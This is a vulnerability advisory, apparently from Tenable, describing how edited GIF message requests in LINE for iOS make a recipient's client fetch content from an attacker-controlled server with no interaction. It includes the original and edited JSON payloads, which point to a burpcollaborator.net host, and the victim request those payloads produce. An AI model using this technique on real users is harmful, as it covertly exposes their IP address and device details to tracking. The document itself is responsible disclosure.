Synopsis
The LINE messenger application on iOS allows for users to send each other animated GIFs from gifmagazine.net as one of the default message types in the application.
An attacker can proxy the requests made to api.line.me/message/v3/share during the sending of these GIFs and edit the message contents to point to images (or other content) on an attacker controlled server.
When the message is received in the target's client (which does not require interaction from the target), the target's client will make a request to the attacker-controlled content.
This allows the attacker to record the receiving target's private IP Address, as well as their current Operating System version and LINE application version.
Proof of Concept:
Using a proxy (in this case Burp Suite) to intercept the request to api.line.me/message/v3/share when sending a GIFMAGAZINE message, and editing the image urls to point to an attacker controlled server (in this case, burpcollaborator.net) allows the attacker to receive the following request:
#####################################################################
Original Request Body
#####################################################################
{"messages":
[{"type":"image",
"originalContentUrl":"https://img.gifmagazine.net/gifmagazine/images/4358290/medium.gif",
"previewImageUrl":"https://img.gifmagazine.net/gifmagazine/images/4358290/180.gif",
"animated":true,
"extension":"gif",
"sentBy":{"label":"Reply with GIFMAGAZINE",
"iconUrl":"https://img.gifmagazine.net/gifmagazine/000web/images/chat-extensions/LINE_chat_app_icon_98px.png",
"linkUrl":"line://app/1626444543-G6O9lb5v?idp=4358290_83"}}]}
#####################################################################
Edited Request Body
#####################################################################
{"messages":
[{"type":"image",
"originalContentUrl":"https://lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net/medium.gif",
"previewImageUrl":"https://lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net/180.gif",
"animated":true,
"extension":"gif",
"sentBy":{"label":"Reply with GIFMAGAZINE",
"iconUrl":"https://img.gifmagazine.net/gifmagazine/000web/images/chat-extensions/LINE_chat_app_icon_98px.png",
"linkUrl":"line://app/1626444543-G6O9lb5v?idp=4358290_83"}}]}
#####################################################################
Request Received from victim IP, on attacker server
#####################################################################
GET /180.gif HTTP/1.1
Host: lb09jovq3r7iuttuv0by06tbz25sth.burpcollaborator.net
Accept: */*
Accept-Language: en-ca
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: LINE/11.0.0 (iPhone; iOS 14.4; Scale/3.00)
Solution
At the time of this writing, this issue is unpatched. The vendor is currently working on a fix.Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]